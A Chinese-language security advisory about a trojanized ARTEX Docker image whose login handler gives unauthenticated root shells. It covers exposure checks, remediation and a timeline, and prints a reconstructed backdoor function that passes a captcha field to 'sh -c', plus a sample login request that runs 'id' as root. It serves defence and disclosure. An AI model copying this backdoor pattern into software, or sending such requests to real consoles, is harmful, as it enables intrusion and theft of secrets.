恶意 ARTEX Docker 镜像分发 root shell

TL;DR

• ARTEX AI 渗透测试工具的第三方副本内置了一个隐藏登录处理，以 root 执行任意命令并返回输出。BadByte 于 2026 年 11 月 4 日发布分析。
• 带后门的镜像是 tomicdd/artex，以及内容相同、重新推送的 congdonglinux/artex。任何拉取其中之一的部署都受影响，容器以 root 运行，秘密信息放在环境变量中。
• 由于 ARTEX 没有活跃的维护仓库，截至 2026 年 11 月 5 日，没有分配 CVE，没有厂商公告，也未被列入 CISA KEV。当天该镜像在 Docker Hub 上有 9,077 次拉取。
• 替换镜像，从可信来源重建容器，并轮换容器能读到的所有秘密信息。参见“如果安装了该怎么办？”。

我受影响吗？

以下条件全部成立时，你才会受影响：

• 你的部署直接拉取 tomicdd/artex 或 congdonglinux/artex，或通过从仍指向它的 637 个仓库之一复制来的 compose 文件拉取。
• 容器在 8787 端口上暴露于网络，compose 文件默认将该端口发布到所有接口。
• 容器由其中任一镜像启动。该镜像于 2026 年 10 月 8 日推送，启动日期无关紧要：11 月 1 日才首次启动的容器同样受影响。

后门在预构建镜像中，不在 ARTEX 源代码中。任何运行该镜像的人都受影响，即使从未打开 GitHub 仓库。镜像以 root 运行，其 compose 文件把数据库密码和 LLM 提供商密钥放进容器环境变量。

检查你运行的内容：

# The compose file's image line
grep -n 'image:' docker-compose.yml

# A running container and its image digest
docker ps --format '{{.Names}} {{.Image}}'
docker inspect --format '{{.Config.Image}} {{.Image}}' artex

从官方源代码构建的容器不受这个镜像后门影响。它仍可能以其他方式暴露，因为 ARTEX 控制台除登录表单外没有内置认证。

BadByte 统计了 2026 年 11 月 2 日至 4 日期间分发带后门镜像的 62 台互联网可访问控制台。这是受影响群体的下限，因为 NAT、VPN 或防火墙后的安装不会出现在统计中。

如何修复？

1. 停止容器。在保留数据卷以供调查之前，不要删除它们。
2. 用你自己控制的、来自可信来源的构建替换镜像。ARTEX 的原始仓库已于 2026 年 10 月 8 日删除，因此重建镜像需要经过审查的源代码树，而不是从其他账户拉取的副本。
3. 重新创建容器。只拉取不同镜像而不重新创建容器，运行中的进程不会被替换。
4. 轮换容器能读到的所有秘密信息。包括 ARTEX_PG_DSN 中的 PostgreSQL 密码、Anthropic 和 OpenAI API 密钥、Brave 或 Tavily 搜索密钥、Telegram、Feishu、DingTalk、WeCom 和 SMTP 通知凭据，以及代理凭据。
5. 假定任务数据已被读取。替换 /app/jwt.key 中的 JWT 签名密钥，它可以伪造七天管理员令牌，并检查控制台保存的每个目标、凭据和发现。

带后门的镜像没有补丁。唯一的修复是停止使用它。

镜像自身的更新路径没有帮助。二进制将版本报告为 dev，因此 ARTEX 拒绝对非发布版本进行一键更新，更新检查仍请求现已返回 404 的 GitHub 发布端点。update.sh 路径对同一镜像执行 docker compose pull。

恶意代码做了什么？

该镜像是在 ARTEX 基础上增加一个函数并修改登录处理的副本。它在检查任何凭据之前以 root 执行 shell 命令，并将输出返回给调用者。

BadByte 将镜像中的 /app/artex 二进制与官方 v0.3.15 构建比较，发现 31,054 个函数相同。有三处不同：

• 新增 160 字节的函数 server.verifyCaptcha。
• 登录处理 server.(*Server).authLogin 从 1,600 字节增长到 2,112 字节。
• 登录请求结构体增加第四个字段 Captcha。

二进制在其构建信息中承认了改动：

# go version -m /app/artex
# sha256 d5070f52262effe216b840711343bff8f2787f39208d887d8dfd9c673f8d1573
path   github.com/Autumn-27/artex/cmd/artex
mod    github.com/Autumn-27/artex  v0.3.16-0.20261008134550-5c0dbd4bec94+dirty
build  -tags=embedui
build  vcs.revision=5c0dbd4bec940f3c0faf20705a56d879b57d3dfe
build  vcs.time=2026-10-08T13:45:50Z
build  vcs.modified=true

二进制从提交 5c0dbd4 加上未提交的改动构建，因此没有任何公开源代码包含它们。新增函数是直接调用 shell，唯一调用者是登录处理，位于 JSON 请求体解码之后：

// Reconstruction by BadByte, marker withheld
func verifyCaptcha(cmdline string) (string, error) {
    c := exec.Command("sh", "-c", cmdline)
    out, err := c.CombinedOutput()
    return string(out), err
}

// inside authLogin
if hasMarker(req.Captcha) {
    out, _ := verifyCaptcha(stripMarker(req.Captcha))
    writeJSON(w, ...out...)
    return
}

用户名比较、密码哈希查找和 bcrypt 校验都在稍后的另一个分支。后门不需要账户、密码或有效会话。

如何被利用？

1. 攻击者向 /api/auth/login 发送一个 POST，captcha 值以秘密标记开头，后面跟一条 shell 命令。
2. 登录处理解码 JSON 请求体并调用 verifyCaptcha。
3. verifyCaptcha 以容器 root 身份对攻击者的命令执行 sh -c，并捕获合并后的输出。
4. 处理将输出写入 JSON 响应并返回。凭据检查从不执行。
5. 攻击者对每条命令重复请求。无需安装任何东西，也不会发起回调。

从网络上看，该请求像一次失败的登录：

POST /api/auth/login HTTP/1.1
Content-Type: application/json

{"username":"x","password":"x","captcha":"<MARKER>id"}

HTTP/1.1 200 OK
{ ... "uid=0(root) gid=0(root) groups=0(root)" ... }

攻击如何展开？

一个模仿仓库将其 compose 文件指向被植入木马的镜像，一次未认证请求就把该镜像变成 root shell。

攻击者能做什么？

攻击者在容器内获得 root shell，而容器保存着控制台最敏感的数据。

BadByte 列出了从该 shell 可访问的资产：

• ARTEX_PG_DSN 中的 PostgreSQL 超级用户密码。
• 环境变量和 llm_profiles.api_key 中的 Anthropic 和 OpenAI API 密钥，未加密。
• settings 表中的 Brave 和 Tavily 搜索 API 密钥。
• companies、company_scope、task_scope 和 tasks 表中的任务目标与范围。
• assets.auth 和 exploration_nodes.payload 中从目标收集的凭据。
• findings.evidence、findings.report 和 /app/data 中的发现与证据。
• /app/data/traffic 中的完整拦截流量，以及 _ca/ 中的代理 CA 私钥。
• /app/jwt.key 中的会话签名密钥，可伪造七天管理员令牌。
• mcp_servers 中的 MCP 服务器命令、参数、环境和令牌。
• notification_channels.config 中的 Feishu、DingTalk、WeCom、Telegram 和 SMTP 通知秘密。
• 智能体的提示、工具和技能，会延续到之后的每次任务。

写入 ./data、./skills 或数据库卷的任何内容在重新拉取后仍然存在。到达 shell 的攻击者还可以改变智能体在下一次运行中的行为，因此即使替换容器，控制台未来的输出也不可信。

攻击者需要能够访问 8787 端口。compose 文件将该端口发布到所有接口，大多数受影响控制台使用默认端口。位于防火墙或 VPN 后的部署，对任何能访问控制台的人仍然有风险。

如果安装了该怎么办？

1. 停止容器，保留其数据卷和日志以供调查。
2. 检查容器是否有后门。镜像提供固定构建 ID 3aC1db3gGU08O4UHbAt4J，/app/artex 二进制的 SHA-256 为 d5070f52262effe216b840711343bff8f2787f39208d887d8dfd9c673f8d1573。
3. 从你审查过的源代码树重建，或停止使用该工具。干净的重建不会清除攻击者已经读取的数据。
4. 轮换“攻击者能做什么？”中列出的所有秘密信息，先处理 LLM 提供商密钥和数据库密码。
5. 检查控制台的目标和任务记录是否有你未做的更改，并通知那些凭据曾保存在此的第三方目标所有者。
6. 检查主机上容器外的持久化。后门本身等待请求，但攻击者可能利用 root shell 修改了主机。

如何检查是否已遭入侵？

• 在容器日志和反向代理日志中搜索在 JSON 响应体返回命令输出的 POST /api/auth/login 请求。触发点看起来像失败的登录，因此要匹配响应内容，而不是状态码。
• 检查运行镜像的构建 ID。带后门构建的每个页面都带有 3aC1db3gGU08O4UHbAt4J。
• 检查镜像摘要。congdonglinux/artex 与 tomicdd/artex 具有相同的索引和清单摘要。
• 在每个 compose 文件和仓库中搜索 tomicdd/artex 和 congdonglinux/artex。BadByte 统计到 2026 年 11 月 5 日仍有 637 个 GitHub 仓库指向该镜像。
• 在 shell 历史和进程表中搜索 ARTEX 进程下意外的 sh -c 子进程。

BadByte 未公布受害者名单，它统计的控制台是互联网暴露的部署，不是已确认的入侵。未到达登录端点的请求不会留下痕迹。

时间线

• 2026-10-08 10:50 UTC：ARTEX 作者宣布项目转为闭源并删除仓库。
• 2026-10-08 18:50 UTC：创建 Docker Hub 账户 tomicdd。
• 2026-10-08 19:41 UTC：tomicdd 推送 ARTEX 镜像。
• 2026-10-08：GitHub 账户 trhhubsd 上传源代码副本，将 compose 中的一行改为 tomicdd/artex。
• 2026-10-20：第一台带后门的控制台上线。
• 2026-10-23：一名 GitHub 用户提交 issue #3“suspect a backdoor”，仓库所有者次日关闭。
• 2026-11-04：BadByte 发布分析，在 11 月 2 日至 4 日之间识别出 62 台控制台。

常见问题

这个镜像有 CVE 吗？

没有。后门在第三方 Docker 镜像中，不在带有安全公告的受维护软件包里。没有分配 CVE，也没有 CISA KEV 条目。

更新 ARTEX 会移除后门吗？

不会。二进制将版本报告为 dev，因此一键更新拒绝运行，而可用的更新路径会再次拉取同一镜像。更新不会移除后门。

官方 ARTEX 源代码是恶意的吗？

没有证据表明如此。BadByte 将镜像与官方 v0.3.15 构建比较，只发现登录处理、新增函数和请求字段被改动。官方源代码已于 2026 年 10 月 8 日删除，因此干净重建需要经过审查的副本。

有多少部署受影响？

BadByte 统计到 2026 年 11 月 3 日两个带后门镜像共被拉取 7,946 次，11 月 2 日至 4 日有 62 台控制台分发带后门构建。Docker Hub 显示 2026 年 11 月 5 日 tomicdd/artex 有 9,077 次拉取。控制台数量是下限，因为 NAT、VPN 或防火墙后的安装不可见。

为什么会有人运行这个镜像？

ARTEX 是一个 AI 渗透测试控制台，曾被用于攻击真实组织，包括韩国银行和 14 个国家的 200 多个组织。作者撤下项目后，用户寻找替代品，找到了星标最多的副本。副本源代码与上游一致，因此代码审查发现不了问题。

只运行容器一小会儿，数据安全吗？

不安全。一次请求就足以执行命令，容器从启动起就持有明文秘密信息。将任何一次运行视为可能的入侵，并轮换秘密信息。

参考文献

• BadByte，"ARTEX Backdoor: 7,946 Pulls of a Trojanized Docker Image Handing Out Root Shells"，2026 年 11 月 4 日：https://badbyte.io/artex-backdoor-docker-image/（2026 年 11 月 5 日检查）
• Docker Hub，tomicdd/artex：https://hub.docker.com/r/tomicdd/artex（2026 年 11 月 5 日检查）
• Docker Hub，congdonglinux/artex：https://hub.docker.com/r/congdonglinux/artex（2026 年 11 月 5 日检查）
• The Hacker News，"CERT-In Flags AI-Driven Attacks as Backdoored ARTEX Exposes 62 Consoles to Root Access"，2026 年 11 月 5 日：https://thehackernews.com/2026/11/backdoored-docker-image-for-artex-ai.html（2026 年 11 月 5 日检查）
• Software Heritage，trhhubsd/ARTEX 的 compose 改动，归档提交 a4f4d38：https://archive.softwareheritage.org/swh:1:cnt:4116a80d046acf8c31c1b1fde26e8011bde9176c;origin=https://github.com/trhhubsd/ARTEX（2026 年 11 月 5 日检查）